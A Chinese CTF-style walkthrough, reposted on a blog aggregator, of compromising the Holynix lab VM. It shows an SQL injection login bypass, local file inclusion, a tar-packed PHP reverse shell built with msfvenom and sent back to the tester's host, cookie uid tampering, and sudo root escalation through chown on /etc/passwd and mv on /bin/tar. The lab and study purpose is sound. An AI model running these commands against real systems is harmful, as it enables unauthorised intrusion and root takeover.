Holynix

信息收集阶段

存活主机探测:arp-scan -l

当然了,正常来说我们不应该使用arp进行探测,arp探测的是arp的缓存表,我们应该利用nmap进行探测!

nmap -sT --min-rate 10000 192.168.182.0/24

端口探测

nmap -sT --min-rate 10000 -p- 192.168.182.132

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:42 CST
Nmap scan report for 192.168.182.132
Host is up (0.0017s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 00:0C:29:BC:05:DE (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.74 seconds

只开放了80端口??

避免出现遗漏,做了UDP的端口扫描:

nmap -sU --top-ports 20 192.168.182.132 

PORT      STATE         SERVICE
53/udp    closed        domain
67/udp    closed        dhcps
68/udp    closed        dhcpc
69/udp    closed        tftp
123/udp   closed        ntp
135/udp   closed        msrpc
137/udp   closed        netbios-ns
138/udp   open|filtered netbios-dgm
139/udp   closed        netbios-ssn
161/udp   closed        snmp
162/udp   open|filtered snmptrap
445/udp   closed        microsoft-ds
500/udp   open|filtered isakmp
514/udp   open|filtered syslog
520/udp   open|filtered route
631/udp   open|filtered ipp
1434/udp  open|filtered ms-sql-m
1900/udp  open|filtered upnp
4500/udp  closed        nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:BC:05:DE (VMware)

版本服务信息探测

nmap -sT -sV -sC -O -p80 192.168.182.132

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-09 10:43 CST
Nmap scan report for 192.168.182.132
Host is up (0.00040s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch
MAC Address: 00:0C:29:BC:05:DE (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|WAP|router|phone|switch
Running (JUST GUESSING): Linux 2.6.X|4.X (98%), Kronos embedded (92%), ipTIME embedded (92%), Linksys embedded (92%), Suga embedded (92%), Google Android 4.0.X (91%), Extreme Networks ExtremeXOS 15.X (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:4.4 cpe:/h:iptime:pro_54g cpe:/h:linksys:rv042 cpe:/h:linksys:wrv54g cpe:/o:google:android:4.0.4 cpe:/o:extremenetworks:extremexos:15.3
Aggressive OS guesses: Linux 2.6.24 - 2.6.25 (98%), Linux 2.6.35 (95%), Linux 2.6.22 (SPARC) (95%), Linux 2.6.18 - 2.6.24 (93%), Linux 2.6.9 - 2.6.33 (93%), Linux 4.4 (92%), Kronos InTouch timeclock (92%), ipTIME PRO 54G WAP (92%), Linux 2.6.18 - 2.6.32 (92%), Linksys RV042 router (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

80端口上开启的是apache服务,然后存在PHP版本是5.2.4 目标靶机可能是一台ubuntu

漏洞脚本探测

nmap -sT --script=vuln -p80 192.168.182.132

渗透测试

既然只有一个端口的话,那就直接去访问一下把

        Na...工厂产品服务器,然后下面提示我们必须登录来查看受限制的内容!

        旁边有两个链接,分别是主页和登录的界面!

        首先在这里我便尝试了弱口令进行登录,发现登录不成功!

        有提示信息!给到了系统管理员的邮箱地址!感觉前面的名称就是系统管理员的名称吧?不妨再试试他的用户名加上弱口令?无果!

直接上bp抓包进行测试:

突然发现了url地址上面的参数!测一波文件包含!

可以文件包含,但是读不到/etc/passwd

回到sql注入上把,首先测试了user_name上并没有sql注入!password呢?

        出现了报错!存在sql注入了!

直接上sqlmap吧:

        一键化:

python sqlmap.py -r 1.txt --dbs -dump -batch

同时还发现了几个路径!

先看看这几个文件是否能够访问到吧:

显示内容被限制了,应该是我们登陆进去才可以访问!这里在访问messageboard.php的时候,通过文件包含访问到了如下的信息:

最下面还存在一个提交的地方:

不知道能不能上传文件!尝试一下!

能写,但是并没有被解析!其他的页面都是content restricted!

还是尝试进行登录!本来上面登录错误的时候我们就看到了system administrator!想用这个账号进行登录的,但是没登陆成功!(后面有测试了下这个system administrator账号 可以登录 但是没有上传的权限!)尝试其他的账号 这里利用第一个账号便成功登陆进来了!

可以看到有很多的链接!一眼看上去就是去看看upload是否能够上传文件!

看看能不能上传!

home目录还不让这个用户上传~

看看别的东西,在目录上面发现了整个公司员工的个人信息:

这些个人信息或许在后面的渗透过程中,会起到作用,但是我还是想上传,尝试下其他的用户能不能上传吧先!

发现第二个用户便可以上传文件,有权限了!问题又来了 文件上传之后的路径没有~

回去看看信息收集的路径吧,除了icons目录下面存在东西之外其他的都看不到!发现标题说的是家目录上传!

http://192.168.182.132/~username/

找到了文件上传的路径,但是他执行不了~ 第一次遇见执行不了的文件~

前面上传的时候可以自动提取压缩包里面的文件,构造压缩包:

tar -zcvf info.tar.gz info.php

直接上传压缩包!

这里直接利用msfvenom生成反弹shell的木马,进行上传!

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.182.130 lport=4444 -f raw > shel1.php

之后尝试利用tar进行压缩!

本地起监听:之后访问这个shel1.php文件,但是发现执行就断开了。。。

不知道这是为啥!/usr/share/webshells下面也有反弹shell的脚本,尝试拿出来在试试:

现在重新进行打包上传!

本地起一个监听:

利用curl触发反弹shell:

curl http://192.168.182.132/~etenenbaum/php-reverse-shell.php

成功拿到了shell!

提权

利用dpkg判断是否存在python!尝试建立一个交互性良好的shell环境!

dpkg -l | grep python 

存在python!

python -c "import pty;pty.spawn('/bin/bash')"

尝试看一下当前用户可以执行哪些特权:

发现存在四个命令,在使用的时候,可以以root身份进行运行并且不需要密码!(chown chgrp tar mv!)

首先来了解一下chown!这里我google了chown提权!这个命令确实能够实现提权!!!

chown命令

chown是linux环境下用于设置文件所有者和文件关联组的命令,当以root权限运行chown的时候,有多种
可能性可以实现提权!

示例

用户可以通过sudo运行chown,且没有任何的参数!

运行下面的命令可以修改/etc/passwd文件的所有者为test用户,然后通过修改该文件进行提权:遮盖题目为例题进行演示:

#首先我们通过sudo -l 查看当前用户的权限,发现该用户能够以root身份执行chown 并且不需要密码
#当前用户是www-data
sudo chown www-data /etc/passwd

之后我们随便找一个密码(superman),利用openssl对其进行加密:

openssl passwd superman

$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0

然后在/etc/passwd文件中添加一个具有root权限的新用户(比如说是root2),并使用上面生成的加密密码!

echo 'root2:$1$EE4AME6s$PZ6zdt2sH8avDIkaB.cjv0:0:0:root:/root:/bin/sh' >> /etc/passwd

查看是否存在追加成功!

追加成功,尝试使用root2的身份登录:

su root2 

        提权成功!参考链接:Linux提权系列 - chown - 掘金

【补充】

        看了红队笔记的视频后,发现自己遗漏了很多的东西,虽然这个靶场打通了~

sql注入突破

        完全没必要上sqlmap,而且在练习的过程中,尽量不要使用大型的一键化的工具!

既然我们知道了存在sql注入,那么就可以使用万能账号和万能密码进行登录:

因为sql注入的点在密码字段所以用户名任意
密码是' or 1=1-- 

直接登陆成功!用户是:

alamo!!!

        然后就是文件包含,因为上面我也知道存在文件包含,但是一直没读到什么有价值的东西,突破点错了:

        display file:显示文件! 查看源码:

        发现确实下面都是文件!!!尝试修改为/etc/passwd

        然后再次点击display file,可以看到参数是text_file_name,之后我们就可以直接将这个参数写在url里面!如:http://x.x.x.x/xxxxxx&text_file_name=/etc/passwd

成功读取到/etc/passwd文件 ,发现了很多的用户信息!读取shadow文件不成功!之后便是到了文件上传的地方,一开始使用alamo这个账号是没有上传的权限,就是根据这里的passwd文件中的各个用户信息!我们尝试换一个账号进行登录:

select * from accounts where username='' and password=''

既然我们已经知道了sql的查询语句,因此我们尝试用户名就是xxx,随便写,后面的password给一个' or username='etenenbaum'--

select * from accounts where username='xxx' and password='' or username='etenenbaum'-- '

成功登陆上来!之后我们发现利用upload.php文件进行上传。后面交给transfer.php文件进行处理,那么我们便可以通过文件包含的形式来读取transfer.php文件的源码!

知道了他是利用tar进行文件的解压,那么我们便可以给他上传一个利用tar压缩的压缩包(里面就是反弹shell的文件 !)

之后还利用到了locate查找文件!(查找符合条件的文件,他会去保存文件和目录名称的数据库内,查找符合文档样式的文件)

还有一个点就是越权!利用bp抓到的数据包在cookie字段存在uid=1,这里修改uid=2 就可以实现越权!

提权

然后就是提权的过程,跟我的方法也是不一样,用到了mv!mv 文件1 文件2 这种方式可以将文件1 重命名为文件2

那么他就是利用mv /bin/su /bin/tar 因为tar执行的时候是以root身份执行的并且是不需要密码的,所以说将su重命名为了 tar 执行tar 实际上执行的是su

首先将tar备份一下!然后我们将/bin/sh 重命名为/bin/tar !利用sudo tar 执行tar!实际执行的是/bin/sh

也可以是/bin/su 重命名为/bin/tar!(sudo tar)

直接输入su 就是切换到root用户,然而执行这个命令,又不需要root的密码,因此就成功的实现了提权操作!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/236099.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

java学习part42反射

187-反射机制-反射的理解与使用举例_哔哩哔哩_bilibili

代码随想录二刷 |二叉树 |94.二叉树的中序遍历

代码随想录二刷 |二叉树 |二叉树的中序遍历 题目描述解题思路代码实现迭代法递归法 题目描述 94.二叉树的中序遍历 给定一个二叉树的根节点 root ,返回 它的 中序 遍历 。 示例 1: 输入:root [1,null,2,3] 输出&a…

protobuf 协议 java版

protobuf全称Google Protocol Buffers 1. 下载proto文件编译软件 下载路径&#xff1a;https://github.com/protocolbuffers/protobuf/releases下载文件&#xff1a;protoc-25.1-win64.zip将 bin 目录配置到环境变量path 中2. pom引入protobuf-java <dependency><gro…

解决traefik/nginx-ingress-controller配置正确的情况访问域名仍然报错: Connection Refused的问题

最近碰到一个很奇怪的问题&#xff1a; traefik/nginx-ingress-controller配置正确&#xff0c;但是访问ingress配置的host域名就是死活报错&#xff1a; Connection Refused 这样怎么也找不到原因&#xff0c;然后一咬牙直接在其中一台节点yum安装nginx, 通过直接反向代理的方…

高效纯化树脂A-2313 CPR

在化工、制药等行业中&#xff0c;对colorful chemicals的纯化一直是挑战。本文将为您介绍一款具有卓越性能的强碱性阴离子交换树脂——Tulsion A-2313 CPR。通过分析其特性和应用&#xff0c;展示其在colorful chemicals纯化领域的优势。 一、Tulsion A-2313 CPR离子交换树脂的…

SQL命令---删除字段

介绍 使用sql语句删除表字段。 命令 alter table 表名 drop 字段名;例子 删除a表中的name字段。 alter table a drop name;下面是执行删除后的表结构&#xff1a;

Java智慧校园-中小学校园管理系统源码

智慧校园系统是通过信息化手段&#xff0c;实现对校园内各类资源的有效集成 整合和优化&#xff0c;实现资源的有效配置和充分利用&#xff0c;将校务管理过程的优化协调。为校园提供数字化教学、数字化学习、数字化科研和数字化管理。 致力于为家长和教师提供一个全方位、多层…

〖Python网络爬虫实战㊷〗- 极验滑块介绍(四)

订阅&#xff1a;新手可以订阅我的其他专栏。免费阶段订阅量1000 python项目实战 Python编程基础教程系列&#xff08;零基础小白搬砖逆袭) 说明&#xff1a;本专栏持续更新中&#xff0c;订阅本专栏前必读关于专栏〖Python网络爬虫实战〗转为付费专栏的订阅说明作者&#xff1…

数据结构与算法之美学习笔记:34 | 字符串匹配基础(下):如何借助BM算法轻松理解KMP算法?

这里写自定义目录标题 前言KMP 算法基本原理失效函数计算方法KMP 算法复杂度分析解答开篇 & 内容小结 前言 本节课程思维导图&#xff1a; BM 算法&#xff0c;是工程中非常常用的一种高效字符串匹配算法。不过&#xff0c;在所有的字符串匹配算法里&#xff0c;要说最知名…

毫米波雷达天线罩设计指导2(TI文档)

5 天线罩设计与仿真 本节重点介绍了一些天线罩设计和仿真&#xff0c;IWR6843 ISK型天线使用球形天线罩作为案例研究。在本节中&#xff0c;将比较带和不带天线罩的远场天线辐射方向图。在这次仿真中&#xff0c;使用了IWR6843 ISK EVM设计的衍生品。 图5-1 ~图5-4为三维电磁场…

Redis分布式缓存超详细总结!

文章目录 前言一、Redis持久化解决数据丢失问题1.RDB&#xff08;Redis Database Backup file&#xff09;持久化&#xff08;1&#xff09;执行RDB&#xff08;2&#xff09;RDB方式bgsave的基本流程&#xff08;3&#xff09;RDB会在什么时候执行&#xff1f;save 60 1000代表…

大数据:Hadoop刷题

大数据&#xff1a;Hadoop刷题 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle&#xff0c;尤其sql要…

YOLOv7保姆级教程(个人踩坑无数)----训练自己的数据集

目录 一、前言&#xff1a; 二、YOLOv7代码下载 三、环境配置 四、测试结果 五、制作自己的数据集 六、训练自己的数据集 一、前言&#xff1a; 上一篇已经详细讲解了如何安装深度学习所需要的环境&#xff0c;这一篇则详细讲解如何配置YOLOv7&#xff0c;在本地电脑或者…

springboot整合xxl-job,通过代码进行调度中心注册开启任务等

背景&#xff1a;由于工作需要&#xff0c;当用户在登录时自动触发定时任务。而不需要我们手动到调度中心管理页面去创建任务。 工程介绍&#xff1a;分为两个项目&#xff0c;第一个是调度中心的项目&#xff08;xxl-job-admin&#xff09;。第二个是我们自己的项目&#xff0…

基于ssm实验室开放管理系统论文

摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本实验室开放管理系统就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞大的数据信…

为什么推荐将静态资源放到CDN上?

一、什么是静态资源 说到静态资源&#xff0c;我们还要知道什么是动态资源 静态资源 静态资源是指在服务器上存储的不经常改变的文件&#xff0c;如图片、CSS 文件、JavaScript 文件、字体文件等。与之相对的是动态资源&#xff0c;动态资源是根据用户请求和服务器端处理生成的…

【后端学前端】第二天 css动画 动感菜单(css变量、过渡动画、过渡延迟、js动态切换菜单)

目录 1、学习信息 2、源码 3、变量 1.1 定义变量 1.2 使用变量 1.3 calc() 函数 4、定位absolute和fixed 5、transform 和 transition&#xff0c;动画 5.1 变形transform 5.2 transition 5.3 动画animation 6、todo 1、学习信息 视频地址&#xff1a;css动画 动感菜…

.9.png的创建

1、创建.9.png 选中图片&#xff0c;右击&#xff0c;选择Create 9-Patch file&#xff0c;点击确定会生成一个xxx.9.png的图片 2、绘制拉伸区域 在图片的最外边界绘制拉伸区域&#xff0c;按住鼠标左键不放&#xff0c;绘制完成后保存就可以使用了。绘制结果示意如下&…

【AI绘画】万字长文——(超详细)ControlNet的详细介绍使用Stable Diffusion的艺术二维码完全生成攻略

目录 前言一、名词解释1-1、Stable Diffusion介绍1-2、ControlNet介绍1-2-1、ControlNet介绍&工作原理1-2-2、ControlNet控制方法介绍 1-3、案例分析1-3-1、室内装修设计1-3-2、品牌创意海报 1-4、stable-diffusion-webui 的参数解释 二、生成方法2-1、图像到图像2-1-1、二…